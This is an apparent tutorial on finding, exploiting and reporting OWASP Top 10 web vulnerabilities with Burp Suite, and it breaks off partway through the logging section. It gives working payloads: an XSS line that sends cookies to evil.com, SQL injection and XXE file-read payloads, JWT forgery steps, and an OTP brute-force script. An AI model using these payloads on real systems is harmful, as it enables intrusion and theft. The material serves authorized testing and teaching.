🔐 OWASP Top 10 Vulnerabilities: Complete Guide to Discovery, Exploitation & Reporting with Burp Suite

Introduction
Burp Suite Overview & Essential Plugins
A01:2021 – Broken Access Control
A02:2021 – Cryptographic Failures
A03:2021 – Injection
A04:2021 – Insecure Design
A05:2021 – Security Misconfiguration
A06:2021 – Vulnerable and Outdated Components
A07:2021 – Identification and Authentication Failures
A08:2021 – Software and Data Integrity Failures
A09:2021 – Security Logging and Monitoring Failures
A10:2021 – Server-Side Request Forgery (SSRF)
Reporting Methodology
Conclusion

1. Introduction

The Open Web Application Security Project (OWASP) Top 10 is the most widely recognized and authoritative document in the field of web application security. Updated periodically, the most recent version (2021) represents a broad consensus about the most critical security risks facing web applications today. For penetration testers, bug bounty hunters, and security engineers, understanding these vulnerabilities deeply — from theoretical underpinnings to practical exploitation and responsible reporting — is essential.

This comprehensive guide walks through each of the OWASP Top 10 vulnerabilities in exhaustive detail, explaining:

What the vulnerability is and why it matters
Where to find it in real-world applications
How it works technically
How to exploit it using Burp Suite and its extensive ecosystem of plugins (extensions)
How to report findings professionally and responsibly

Important Ethical Disclaimer: The techniques described in this guide are intended for authorized security testing only. Always obtain explicit written permission before testing any application. Unauthorized testing is illegal and unethical. Use these skills responsibly in bug bounty programs, penetration tests with proper scope agreements, or on your own lab environments.

2. Burp Suite Overview & Essential Plugins

2.1 What is Burp Suite?

Burp Suite, developed by PortSwigger, is the industry-standard platform for web application security testing. It functions as an intercepting proxy that sits between the browser and the target application, allowing testers to inspect, modify, and replay HTTP/HTTPS traffic. Burp Suite comes in three editions:

Community Edition – Free, with limited features
Professional Edition – Full-featured, includes the automated scanner
Enterprise Edition – CI/CD integrated scanning

2.2 Core Burp Suite Tools

Tool	Purpose
Proxy	Intercepts and modifies HTTP/S requests and responses
Scanner	Automated vulnerability scanning (Pro only)
Intruder	Automated customized attacks (fuzzing, brute-forcing)
Repeater	Manual request manipulation and replay
Sequencer	Token randomness analysis
Decoder	Data encoding/decoding/hashing
Comparer	Visual diff of requests/responses
Logger	Full HTTP traffic logging
Organizer	Note-taking and finding management

2.3 Essential Burp Suite Plugins (BApp Store & Custom)

These extensions dramatically extend Burp's capabilities for OWASP Top 10 testing:

Plugin	Use Case
Autorize	Automated access control testing (IDOR, privilege escalation)
AuthMatrix	Multi-role authorization testing matrix
Active Scan++	Enhanced active scanning with additional checks
Param Miner	Hidden parameter discovery
Backslash Powered Scanner	Advanced injection detection
Software Vulnerability Scanner	Identifies vulnerable components
JSON Web Token Attacker (JOSEPH)	JWT manipulation and attack
JWT Editor	JWT viewing and editing
Turbo Intruder	High-speed, scriptable request sending
Logger++	Advanced logging with filtering and grep
Hackvertor	Tag-based encoding/decoding/conversion
Collaborator Everywhere	Out-of-band interaction detection
HTTP Request Smuggler	HTTP desync attack detection
InQL	GraphQL introspection and attack
Upload Scanner	File upload vulnerability testing
Retire.js	Identifies vulnerable JavaScript libraries
CSP Auditor	Content Security Policy analysis
CORS (Additional Scanner Checks)*	CORS misconfiguration detection
Taborator	Enhanced Collaborator client
IP Rotate	AWS API Gateway IP rotation for rate limit bypass

2.4 Setting Up Your Testing Environment

Install Burp Suite Professional and configure your browser to use 127.0.0.1:8080 as the proxy.
Install the Burp CA certificate in your browser to intercept HTTPS traffic.
Navigate to the Extender tab → BApp Store → Install the plugins listed above.
Configure scope by adding target domains to the Target → Scope tab.
Enable "Use Suite Scope" in Proxy → Options to filter traffic to only in-scope items.

3. A01:2021 – Broken Access Control

3.1 What It Is

Broken Access Control occurs when an application fails to properly enforce restrictions on what authenticated users are allowed to do. It is the #1 most critical vulnerability in the OWASP Top 10 (2021), having moved up from the fifth position in the 2017 edition. Access control enforces policy such that users cannot act outside of their intended permissions. When these controls fail, attackers can access unauthorized functionality and data — viewing other users' accounts, modifying other users' data, changing access rights, and more.

Common subtypes include:

Insecure Direct Object References (IDOR): Accessing resources by manipulating identifiers (e.g., changing ?user_id=123 to ?user_id=124)
Vertical Privilege Escalation: A regular user accessing admin functionality
Horizontal Privilege Escalation: User A accessing User B's data
Missing Function-Level Access Control: Admin API endpoints accessible without admin roles
Metadata Manipulation: Tampering with JWT tokens, cookies, or hidden fields to elevate privileges
CORS Misconfiguration: Overly permissive cross-origin resource sharing allowing unauthorized access from malicious origins
Force Browsing: Accessing unauthenticated pages that should require authentication

3.2 Where to Find It

API endpoints with numeric or predictable IDs (/api/v1/users/1001/profile)
Admin panels accessible by changing URL paths (/admin, /dashboard/admin)
File download endpoints (/download?file=report_1001.pdf)
Account settings pages where the user ID is sent as a parameter
Multi-tenant applications where tenant isolation can be bypassed
GraphQL APIs with unrestricted queries across different users' data
REST APIs that rely on client-side role checks

3.3 How It Works

The root cause is the server's failure to validate whether the currently authenticated user has authorization to perform the requested action on the requested resource. The application trusts client-supplied input (like user IDs, role parameters, or path traversals) without server-side verification.

Example vulnerable flow:

GET /api/orders/5001 HTTP/1.1
Host: vulnerable-app.com
Cookie: session=abc123    ← This session belongs to User A

If the server returns order #5001 which belongs to User B without checking ownership, this is an IDOR vulnerability.

3.4 How to Exploit with Burp Suite

Step 1: Set Up Autorize

Install Autorize from BApp Store.
Log in to the application with two accounts: a high-privilege account (admin) and a low-privilege account (regular user).
Copy the session cookie of the low-privilege user.
In Autorize, paste the low-privilege cookie into the "Cookie" header field.
Enable Autorize and browse the application as the high-privilege user.

Autorize will automatically replay every request made by the admin with the low-privilege user's cookie, flagging where access control is missing. Results are color-coded:

🔴 Red – Access control is bypassed (vulnerability confirmed)
🟢 Green – Access control is enforced
🟡 Yellow – Unclear, requires manual verification

Step 2: Manual IDOR Testing with Intruder

Capture a request in Proxy that contains a resource identifier (e.g., /api/users/1001/profile).
Send it to Intruder.
Mark the ID value (1001) as the payload position.
Use a Numbers payload type (e.g., 1000–1100, step 1).
Start the attack and analyze responses.
Look for responses with 200 OK status codes and varying Content-Length values — these indicate data belonging to different users was returned.

Step 3: AuthMatrix for Complex Role Testing

Install AuthMatrix.
Define roles (e.g., Admin, Manager, User, Unauthenticated).
Assign session tokens to each role.
Add requests to the matrix and define expected access per role.
Run the matrix — AuthMatrix flags violations where a role accessed something it shouldn't.

Step 4: Manual Testing with Repeater

Capture a privileged request (e.g., POST /admin/delete-user).
Send to Repeater.
Replace the session cookie with a low-privilege user's cookie.
Send and observe the response.
If the action succeeds, vertical privilege escalation is confirmed.

3.5 Reporting

## Vulnerability Report: Broken Access Control (IDOR)

**Severity:** High (CVSS 8.6)
**Endpoint:** GET /api/v1/users/{id}/profile
**Affected Parameter:** id (path parameter)

### Description
The application fails to validate that the authenticated user has 
authorization to access the requested user profile. By modifying the 
`id` parameter, an attacker can access any user's profile data including 
PII (name, email, phone, address).

### Steps to Reproduce
1. Log in as User A (user_id: 1001)
2. Navigate to "My Profile" — observe request: GET /api/v1/users/1001/profile
3. In Burp Repeater, change 1001 to 1002
4. Send the request
5. Observe: User B's complete profile data is returned

### Impact
An attacker can enumerate and exfiltrate all user profile data in the 
system by iterating through user IDs. This affects ~50,000 users and 
exposes PII, violating GDPR/CCPA regulations.

### Remediation
- Implement server-side authorization checks on every resource access
- Use indirect object references or UUIDs instead of sequential IDs
- Validate that the authenticated user owns the requested resource
- Implement rate limiting on API endpoints

### Evidence
[Attach Burp Repeater screenshots showing the original and modified requests]
[Attach Autorize results showing bypassed access controls]

4. A02:2021 – Cryptographic Failures

4.1 What It Is

Previously known as "Sensitive Data Exposure," this category focuses on failures related to cryptography — or lack thereof — that lead to exposure of sensitive data. This includes transmission of data in cleartext, use of weak or deprecated cryptographic algorithms, improper key management, lack of encryption at rest, insufficient transport layer security, and failure to enforce encryption through mechanisms like HTTP Strict Transport Security (HSTS).

Sensitive data includes: passwords, credit card numbers, health records, personal information, business secrets, and any data protected by regulations (GDPR, PCI-DSS, HIPAA).

4.2 Where to Find It

Login forms transmitted over HTTP instead of HTTPS
API responses containing sensitive data without encryption
Cookies without Secure and HttpOnly flags
Password storage using weak hashing (MD5, SHA1 without salt)
Database connection strings in configuration files
Backup files accessible on the web server
TLS/SSL configuration with outdated protocols or weak cipher suites
Mobile API endpoints with certificate pinning bypass opportunities

4.3 How It Works

Cryptographic failures manifest in several ways:

Data in transit: Application transmits sensitive data over HTTP or uses TLS 1.0/1.1 with weak ciphers, allowing man-in-the-middle interception.
Data at rest: Passwords stored in plaintext or with reversible encryption; database backups unencrypted.
Weak algorithms: Use of MD5/SHA1 for password hashing, DES/RC4 for encryption, or RSA with small key sizes.
Key management failures: Hardcoded encryption keys, keys stored in source code, or lack of key rotation.

4.4 How to Exploit with Burp Suite

Step 1: Passive Scanning with Burp Scanner

Browse the target application thoroughly with Burp Proxy active.
Burp's passive scanner automatically flags:
- Cookies without Secure or HttpOnly flags
- Mixed content (HTTPS pages loading HTTP resources)
- Missing HSTS headers
- Sensitive data in URL parameters
- Forms submitted over HTTP

Step 2: Analyzing Responses with Logger++

Install Logger++.
Configure filters to search for sensitive patterns:
- Response Body Contains: "password"
- Response Body Contains: "ssn"
- Response Body Contains: "credit_card"
- Response Body Matches: /\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b/ (credit card regex)
Browse the application — Logger++ highlights responses containing sensitive data in cleartext.

Step 3: Token Analysis with Sequencer

Capture a request that generates session tokens (e.g., login response).
Send to Sequencer.
Configure the token location in the response.
Start Live Capture — Sequencer collects thousands of tokens.
Analyze results — poor randomness (below the significance threshold) indicates predictable tokens, which is a cryptographic failure.
Look for: low entropy, character-level bias, bit-level uniformity failures.

Step 4: JWT Analysis with JWT Editor

Install JWT Editor from BApp Store.
Capture a request containing a JWT token.
The JWT tab automatically decodes the token, showing Header, Payload, and Signature.
Test for:
- Algorithm confusion: Change alg from RS256 to HS256 and sign with the public key
- None algorithm: Change alg to none and remove the signature
- Weak secret: Use Hashcat or the JOSEPH extension to brute-force the HMAC secret
- Key injection (jwk/jku/kid): Inject attacker-controlled keys

# Original JWT Header
{"alg": "RS256", "typ": "JWT"}

# Modified (Algorithm Confusion Attack)
{"alg": "HS256", "typ": "JWT"}
# Sign payload using the public key as HMAC secret

Step 5: HSTS and TLS Testing

In Burp Repeater, send a request and examine response headers.
Check for missing Strict-Transport-Security header.
Use Active Scan++ to detect SSL/TLS issues.
Verify cookie attributes in the Proxy → HTTP History → Response headers.

4.5 Reporting

## Vulnerability Report: Cryptographic Failure – JWT Algorithm Confusion

**Severity:** Critical (CVSS 9.8)
**Endpoint:** POST /api/auth/login (token issuance), all authenticated endpoints (token validation)

### Description
The application's JWT implementation is vulnerable to an algorithm confusion 
attack. The server accepts tokens signed with HS256 (symmetric) when it was 
configured for RS256 (asymmetric). By using the publicly available RSA public 
key as the HMAC secret, an attacker can forge valid JWT tokens for any user, 
including administrators.

### Steps to Reproduce
1. Obtain the public key from /api/.well-known/jwks.json
2. Capture a valid JWT from the login response
3. In Burp's JWT Editor, change the header algorithm from RS256 to HS256
4. Modify the payload to set "role": "admin" and "sub": "admin@target.com"
5. Sign the token using the public key as the HMAC-SHA256 secret
6. Replace the original token and send a request to /api/admin/users
7. Observe: Full admin access is granted

### Impact
Complete authentication bypass allowing any unauthenticated attacker to 
impersonate any user, including administrators, leading to full system compromise.

### Remediation
- Explicitly validate the expected algorithm server-side
- Never allow algorithm switching
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement token binding and audience validation

5. A03:2021 – Injection

5.1 What It Is

Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization. Injection encompasses a wide variety of attack vectors:

SQL Injection (SQLi): Manipulating SQL queries
Cross-Site Scripting (XSS): Injecting client-side scripts (now merged into this category)
NoSQL Injection: Targeting NoSQL databases (MongoDB, CouchDB)
OS Command Injection: Executing system commands
LDAP Injection: Manipulating LDAP queries
XML/XPath Injection: Attacking XML parsers
Template Injection (SSTI): Exploiting server-side template engines
Header Injection / CRLF Injection: Injecting HTTP headers
Expression Language (EL) Injection: Attacking Java EL expressions

5.2 Where to Find It

Search fields and forms — anywhere user input constructs queries
URL parameters — ?id=1, ?search=term, ?sort=column
HTTP headers — User-Agent, Referer, X-Forwarded-For
Cookies — values used in server-side logic
File upload filenames — processed by backend systems
API request bodies — JSON/XML payloads
Hidden form fields — often trusted by developers
Registration/profile fields — stored XSS vectors

5.3 How It Works

The fundamental problem is the mixing of code and data. When user-supplied data is concatenated directly into a query or command string without proper sanitization or parameterization, the interpreter cannot distinguish between intended code and injected data.

SQL Injection Example:

-- Vulnerable query
SELECT * FROM users WHERE username = '" + userInput + "' AND password = '" + passInput + "'";

-- Attacker input: ' OR '1'='1' --
-- Resulting query:
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''
-- The OR condition is always true, the password check is commented out

XSS Example:

<!-- Vulnerable output -->
<p>Welcome, <?= $_GET['name'] ?></p>

<!-- Attacker input: <script>document.location='https://evil.com/?c='+document.cookie</script> -->
<!-- Result: Script executes in victim's browser, stealing cookies -->

5.4 How to Exploit with Burp Suite

SQL Injection with Burp Scanner + Backslash Powered Scanner

Install Backslash Powered Scanner and Active Scan++.
Identify input points by browsing with Proxy.
Right-click a request → "Do Active Scan" (Pro).
Burp Scanner combined with the extensions will test for:
- Error-based SQLi
- Blind Boolean-based SQLi
- Blind Time-based SQLi
- UNION-based SQLi
- Out-of-band SQLi (using Burp Collaborator)

Manual SQLi with Repeater

Capture a request with a parameter (e.g., id=5).
Send to Repeater.
Test with standard payloads:

# Error-based detection
id=5'          → Look for SQL error messages
id=5''         → If error disappears, likely injectable
id=5 AND 1=1   → Should return normal response
id=5 AND 1=2   → Should return different/empty response

# UNION-based enumeration
id=5 ORDER BY 1--     → Increment until error to find column count
id=5 UNION SELECT NULL,NULL,NULL--
id=5 UNION SELECT username,password,NULL FROM users--

# Time-based blind
id=5; WAITFOR DELAY '0:0:5'--     → MSSQL
id=5 AND SLEEP(5)--               → MySQL
id=5; SELECT pg_sleep(5)--        → PostgreSQL

# Out-of-band (use Collaborator)
id=5; EXEC master..xp_dirtree '\\burpcollaborator.net\a'--

Use Burp Collaborator client (Burp → Collaborator → Copy to clipboard) for OOB detection.

XSS with Intruder

Capture a request with a reflectable parameter.
Send to Intruder.
Load an XSS payload list (e.g., PortSwigger's XSS cheat sheet payloads).
Configure the payload position on the vulnerable parameter.
Set Grep – Match rules to detect reflection: look for your payloads appearing unencoded in responses.
For stored XSS, inject the payload in Repeater and then browse to the page where it renders.

Advanced: SSTI with Hackvertor

Install Hackvertor.
In Repeater, test template injection with mathematical expressions:

{{7*7}}       → Jinja2/Twig: expect 49
${7*7}        → FreeMarker: expect 49
<%=7*7%>      → ERB: expect 49
#{7*7}        → Pebble/Thymeleaf

Use Hackvertor tags for encoding/obfuscation to bypass WAFs:

<@urlencode_all>{{7*7}}<@/urlencode_all>

Command Injection via Collaborator Everywhere

Install Collaborator Everywhere.
Browse the target — the extension automatically inserts Collaborator payloads into headers.
Check the Collaborator tab for incoming DNS/HTTP interactions, indicating out-of-band command injection or SSRF.

5.5 Reporting

## Vulnerability Report: SQL Injection (Blind Time-Based)

**Severity:** Critical (CVSS 9.8)
**Endpoint:** GET /api/products?category=electronics
**Affected Parameter:** category (query string)

### Description
The `category` parameter is vulnerable to blind time-based SQL injection.
The application concatenates user input directly into a SQL query without 
parameterization. An attacker can extract the entire database contents 
through conditional time delays.

### Steps to Reproduce
1. In Burp Repeater, send: GET /api/products?category=electronics
2. Observe normal response time: ~200ms
3. Send: GET /api/products?category=electronics' AND SLEEP(5)--
4. Observe response time: ~5200ms (confirming injection)
5. Extract data: category=electronics' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
6. Iterate through characters to extract database name, tables, and data

### Impact
Full database compromise. Attacker can read, modify, or delete all 
data in the database. Depending on database permissions, could escalate 
to OS command execution via xp_cmdshell (MSSQL) or INTO OUTFILE (MySQL).

### Evidence
[Burp Repeater screenshots showing timing differences]
[Intruder attack results showing data extraction]

### Remediation
- Use parameterized queries / prepared statements
- Implement input validation (allowlist approach)
- Apply principle of least privilege to database accounts
- Deploy a Web Application Firewall (WAF) as defense-in-depth

6. A04:2021 – Insecure Design

6.1 What It Is

Insecure Design is a broad category focusing on risks related to design and architectural flaws. Unlike implementation bugs (which can be fixed with better code), insecure design represents fundamental flaws in the business logic that cannot be fixed by a perfect implementation. This is a relatively new addition to the OWASP Top 10, recognizing that many vulnerabilities stem from inadequate threat modeling during the design phase.

Examples include:

Business logic flaws: E-commerce allowing negative quantities for refunds
Insufficient rate limiting on critical functions: Password reset, OTP verification
Missing anti-automation controls: Mass account creation
Predictable resource identifiers: Sequential order numbers
Race conditions: Time-of-check-to-time-of-use (TOCTOU) vulnerabilities
Insufficient workflow validation: Skipping steps in multi-step processes

6.2 Where to Find It

Checkout and payment flows — price manipulation, step skipping
Registration workflows — bypassing email verification
Password reset mechanisms — OTP brute-forcing, token prediction
Multi-step processes — wizard-style forms where steps can be skipped
Coupon/discount systems — reuse, stacking, or negative values
Voting/polling systems — repeated voting without limits
File processing features — unrestricted processing of large files (DoS)

6.3 How to Exploit with Burp Suite

Business Logic Testing with Repeater

Price Manipulation:
- Capture a purchase request in Proxy.
- In Repeater, modify the price, quantity, or total fields.
- Send quantity=-1 or price=0.01 and observe if the server accepts it.
Workflow Bypass:
- Map the multi-step process (e.g., Step 1: Select item → Step 2: Enter shipping → Step 3: Payment → Step 4: Confirm).
- In Repeater, skip directly to Step 4 with a manipulated request.
- Observe if the order is placed without payment.

Rate Limiting Testing with Turbo Intruder

Install Turbo Intruder.
Capture a password reset OTP verification request.
Right-click → Send to Turbo Intruder.
Write a script to brute-force the 4-6 digit OTP:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=30,
                           requestsPerConnection=100,
                           pipeline=True)
    for i in range(0, 999999):
        otp = str(i).zfill(6)
        engine.queue(target.req, otp)

def handleResponse(req, interesting):
    if req.status == 200 or 'success' in req.response.lower():
        table.add(req)

If the OTP can be brute-forced (no rate limit, no account lockout), this is an insecure design flaw.

Race Condition Testing with Turbo Intruder

Capture a request for applying a discount code or transferring funds.
Use Turbo Intruder with the race condition template:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           requestsPerConnection=50,
                           pipeline=False)
    # Queue 50 identical requests
    for i in range(50):
        engine.queue(target.req, gate='race')
    # Release all at once
    engine.openGate('race')

def handleResponse(req, interesting):
    table.add(req)

If the discount code was applied multiple times or funds were transferred multiple times, a race condition exists.

6.4 Reporting

Focus on the design flaw rather than just the symptom. Explain what design principle was violated and recommend architectural changes, not just code patches.

7. A05:2021 – Security Misconfiguration

7.1 What It Is

Security Misconfiguration is the most commonly seen vulnerability category. It occurs when security settings are defined, implemented, or maintained improperly. This includes:

Default credentials left unchanged
Unnecessary features enabled — debug pages, directory listing, unnecessary HTTP methods
Missing security headers — CSP, X-Frame-Options, X-Content-Type-Options
Overly permissive CORS policies
Verbose error messages exposing stack traces
Cloud storage misconfiguration — public S3 buckets
Unpatched or outdated server software
XML External Entity (XXE) processing enabled

7.2 Where to Find It

Error pages — triggering errors to see stack traces
HTTP response headers — missing security headers
Default paths — /admin, /phpinfo.php, /server-status, /elmah.axd
HTTP methods — OPTIONS, TRACE, PUT, DELETE
API documentation — Swagger/OpenAPI exposed in production
Cloud infrastructure — S3 buckets, Azure blobs, GCP storage

7.3 How to Exploit with Burp Suite

Hidden Parameter Discovery with Param Miner

Install Param Miner.
Right-click a request → Extensions → Param Miner → Guess params.
Param Miner will bruteforce hidden parameters (query, headers, cookies).
Look for parameters like debug=true, admin=1, test=1 that change application behavior.

Security Header Analysis with CSP Auditor

Install CSP Auditor.
Browse the application — CSP Auditor analyzes Content-Security-Policy headers.
Check for:
- Missing CSP entirely
- unsafe-inline or unsafe-eval directives
- Wildcard domains (*.example.com)
- Missing frame-ancestors (clickjacking protection)

CORS Testing in Repeater

Capture any authenticated request.
In Repeater, add: Origin: https://evil-attacker.com
Send and check the response for:
- Access-Control-Allow-Origin: https://evil-attacker.com (reflects attacker origin)
- Access-Control-Allow-Credentials: true (allows cookies)
If both are present, the CORS policy is dangerously misconfigured.
Test variations: Origin: null, Origin: https://evil-attacker.com.target.com

XXE Testing in Repeater

Find an endpoint that processes XML input.
In Repeater, inject an XXE payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>

If the response contains the contents of /etc/passwd, XXE is confirmed.
For blind XXE, use Burp Collaborator:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://YOUR-COLLABORATOR-ID.burpcollaborator.net">
]>

HTTP Method Testing with Intruder

Capture a request.
Send to Intruder.
Set the HTTP method as the payload position.
Use a simple list: GET, POST, PUT, DELETE, PATCH, OPTIONS, TRACE, HEAD, CONNECT.
Analyze responses — unexpected 200 responses to dangerous methods indicate misconfiguration.

7.4 Reporting

Include specific misconfiguration details, the exact headers or settings that are problematic, and provide the correct configuration. For example:

### Missing Security Headers

| Header | Current | Recommended |
|--------|---------|-------------|
| Content-Security-Policy | Missing | `default-src 'self'; script-src 'self'; style-src 'self'` |
| X-Frame-Options | Missing | `DENY` or `SAMEORIGIN` |
| X-Content-Type-Options | Missing | `nosniff` |
| Strict-Transport-Security | Missing | `max-age=31536000; includeSubDomains; preload` |
| Referrer-Policy | Missing | `strict-origin-when-cross-origin` |
| Permissions-Policy | Missing | `camera=(), microphone=(), geolocation=()` |

8. A06:2021 – Vulnerable and Outdated Components

8.1 What It Is

Applications often rely on third-party libraries, frameworks, and software components. When these components have known vulnerabilities and are not updated promptly, the application inherits those vulnerabilities. This category addresses:

Using components with known CVEs
Unsupported or end-of-life software
Failure to track component versions
Not scanning for vulnerabilities regularly
Not fixing or upgrading underlying platforms and dependencies

8.2 Where to Find It

JavaScript libraries loaded in the browser (jQuery, Angular, React, Bootstrap)
Server-side frameworks (Spring, Django, Rails, Express)
Web servers (Apache, Nginx, IIS) — version disclosure in headers
CMS platforms (WordPress, Drupal, Joomla) with outdated plugins
API gateways and middleware components
Database systems with known vulnerabilities

8.3 How to Exploit with Burp Suite

Client-Side Component Detection with Retire.js

Install Retire.js from BApp Store.
Browse the target application with Proxy active.
Retire.js automatically scans JavaScript files loaded by the application.
Check the Extender → Extensions → Retire.js output tab for findings.
Results will show:
- Library name and version
- Known CVEs
- Severity ratings
- Links to vulnerability details

Server-Side Component Detection with Active Scan++

Install Active Scan++.
Run an active scan on the target.
Active Scan++ includes checks for:
- Known vulnerable server versions
- Framework-specific vulnerabilities
- CMS detection and version fingerprinting

Manual Version Fingerprinting in Repeater

Check server headers:

Server: Apache/2.4.29 (Ubuntu)
X-Powered-By: PHP/7.2.10
X-AspNet-Version: 4.0.30319

Check default error pages, favicon hashes, and known file paths.
Use Hackvertor to compute favicon hash for Shodan lookups:
- Download favicon → calculate MD5/mmh3 hash → search Shodan.

Software Vulnerability Scanner Extension

Install Software Vulnerability Scanner.
Browse the target application.
The extension automatically fingerprints technologies and cross-references against vulnerability databases.

8.4 Reporting

## Vulnerability Report: Vulnerable JavaScript Library – jQuery 2.1.4

**Severity:** Medium (depends on exploitability in context)
**Location:** https://target.com/assets/js/jquery-2.1.4.min.js

### Identified Vulnerabilities
| CVE | Description | Severity |
|-----|-------------|----------|
| CVE-2020-11022 | XSS via htmlPrefilter | Medium |
| CVE-2020-11023 | XSS via HTML containing option elements | Medium |
| CVE-2019-11358 | Prototype pollution via extend function | Low |

### Evidence
Detected by Retire.js Burp Extension during passive scanning.
Current version: 2.1.4 | Latest stable: 3.7.1

### Remediation
- Upgrade jQuery to version 3.5.0 or later
- Implement a Software Composition Analysis (SCA) tool in CI/CD pipeline
- Establish a patch management policy for third-party dependencies

9. A07:2021 – Identification and Authentication Failures

9.1 What It Is

This category (previously "Broken Authentication") covers weaknesses in authentication mechanisms that allow attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently.

Common issues include:

Credential stuffing / brute-force attacks allowed
Weak password policies — no minimum length, no complexity
Default credentials — admin/admin, test/test
Missing multi-factor authentication (MFA)
Session fixation — accepting pre-set session IDs
Session tokens in URLs — exposed in referrer headers and logs
Inadequate session invalidation — sessions not expired after logout or inactivity
Predictable session tokens — low entropy, sequential patterns

9.2 Where to Find It

Login pages — brute-force protection, error messages
Registration pages — username enumeration via different error messages
Password reset flows — token predictability, brute-force of reset codes
Session management — cookie attributes, token entropy
"Remember me" functionality — persistent token security
SSO/OAuth implementations — redirect_uri validation, state parameter

9.3 How to Exploit with Burp Suite

Credential Brute-Force with Intruder

Capture a login request in Proxy.
Send to Intruder.
Attack type: Cluster bomb (for username + password combinations) or Sniper (for password spraying).
Mark the username and password fields as payload positions.
Load wordlists:
- Payload 1 (usernames): Common usernames or enumerated users
- Payload 2 (passwords): SecLists top passwords
Configure Grep – Match to detect successful login indicators.
Analyze results by Status code and Response length — outliers indicate successful login.

Username Enumeration

In Repeater, submit a login with a valid username and wrong password.
Submit a login with an invalid username and wrong password.
Compare responses using Comparer — look for:
- Different error messages ("Invalid password" vs. "User not found")
- Different response lengths
- Different response times (timing attacks)
Use Intruder to enumerate valid usernames from a list.

Session Token Analysis with Sequencer

Capture the login response containing a session cookie.
Send to Sequencer.
Define the token location.
Live capture 10,000+ tokens.
Run analysis:
- Character-level analysis — checks for bias in character frequency
- Bit-level analysis — checks for patterns in binary representation
- Overall result — effective entropy score
Tokens with less than 64 bits of effective entropy are considered weak.

Session Fixation Testing

Note the session token before authentication.
Authenticate with valid credentials.
Check if the session token changed after authentication.
If the same token persists, session fixation is possible:
- Attacker sets a known session ID → victim authenticates with that session → attacker hijacks the authenticated session.

Password Reset Token Analysis

Request multiple password reset tokens.
Analyze in Sequencer for predictability.
Check if tokens are time-based, sequential, or derived from user data.
In Repeater, test if expired tokens are still accepted.
Test if tokens can be reused multiple times.

9.4 Reporting

Include detailed evidence from Sequencer (entropy analysis graphs), Intruder results showing enumeration was possible, and clear reproduction steps showing the authentication bypass chain.

10. A08:2021 – Software and Data Integrity Failures

10.1 What It Is

This category relates to code and infrastructure that does not protect against integrity violations. This includes:

Insecure Deserialization (previously a standalone Top 10 entry) — when applications deserialize untrusted data without validation, leading to remote code execution, replay attacks, injection, and privilege escalation.
Insecure CI/CD pipelines — compromised build processes
Auto-update mechanisms without integrity verification — applications that download updates without signature verification
Unsigned or unverified data serialization — cookies, API tokens, or state data that can be tampered with

10.2 Where to Find It

Serialized objects in cookies — Java serialization, PHP serialization, Python pickle
ViewState in ASP.NET applications (without MAC validation)
API responses containing serialized data structures
File upload features that deserialize uploaded content
Message queues processing serialized messages
CDN resources loaded without Subresource Integrity (SRI) hashes

10.3 How to Exploit with Burp Suite

Detecting Serialized Data

Browse the application with Proxy active.
Look for telltale signs of serialized data:
- Java: Base64-decoded starts with rO0AB (hex: AC ED 00 05)
- PHP: O:4:"User":2:{...} or a:2:{...}
- .NET ViewState: __VIEWSTATE parameter with Base64 data
- Python Pickle: Binary blob often Base64-encoded

Java Deserialization with Burp Extensions

Install Java Deserialization Scanner from BApp Store.
Capture a request containing serialized Java data.
Right-click → Extensions → Deserialization Scanner → Send to DS.
The extension tests various gadget chains (Commons Collections, Spring, etc.).
If a gadget chain is found, it generates a payload for RCE.

Insecure Deserialization in PHP via Repeater

Identify a PHP serialized object in a cookie:

Cookie: user=O:4:"User":2:{s:4:"name";s:5:"alice";s:5:"admin";b:0;}

In Repeater, modify the serialized data:

Cookie: user=O:4:"User":2:{s:4:"name";s:5:"alice";s:5:"admin";b:1;}

The admin boolean changed from 0 (false) to 1 (true).
Send and observe if admin privileges are granted.

ViewState Tampering

Capture a request with __VIEWSTATE.
Use Decoder to Base64-decode and inspect the contents.
If the ViewState is not MAC-protected (no signature), modify values directly.
Re-encode with Decoder and send via Repeater.
If MAC is present, check for known keys or misconfigurations.

Integrity Check for CDN Resources

In Proxy, examine HTML responses for externally loaded scripts.
Check for the presence of integrity attributes (SRI):

<!-- SECURE: Has SRI -->
<script src="https://cdn.example.com/lib.js" 
        integrity="sha384-abc123..." 
        crossorigin="anonymous"></script>

<!-- VULNERABLE: No SRI -->
<script src="https://cdn.example.com/lib.js"></script>

Report missing SRI as it allows CDN compromise to inject malicious code.

10.4 Reporting

## Vulnerability Report: Insecure Deserialization (PHP Object Injection)

**Severity:** Critical (CVSS 9.8)
**Endpoint:** All authenticated endpoints
**Affected Parameter:** `user` cookie

### Description
The application stores a serialized PHP object in the `user` cookie without 
any integrity protection (no HMAC signature). An attacker can modify the 
serialized object to change their role, inject malicious objects that 
exploit magic methods (__wakeup, __destruct), or achieve remote code 
execution through POP chain gadgets.

### Steps to Reproduce
1. Log in as a regular user
2. In Burp Proxy, observe the `user` cookie
3. Base64 decode: O:4:"User":2:{s:4:"name";s:5:"alice";s:5:"admin";b:0;}
4. Modify admin flag: O:4:"User":2:{s:4:"name";s:5:"alice";s:5:"admin";b:1;}
5. Base64 encode and replace the cookie
6. Access /admin → Admin panel is accessible

### Impact
Privilege escalation to admin, potential RCE through POP chain exploitation.

### Remediation
- Never expose serialized objects to the client
- Implement HMAC signatures on all serialized data
- Use JSON instead of native serialization formats
- Implement integrity checks on all deserialized data

11. A09:2021 – Security Logging and Monitoring Failures

11.1 What It Is

This category addresses the inability to detect, escalate, and respond to active breaches. Without adequate logging and monitoring, attacks can go undetected for extended periods — the average time to detect a breach is over 200 days according to industry reports. Issues include:

Auditable events not logged — logins, failed logins, high-value transactions
Warnings and errors generating no or inadequate log messages
Logs only stored locally without centralized monitoring
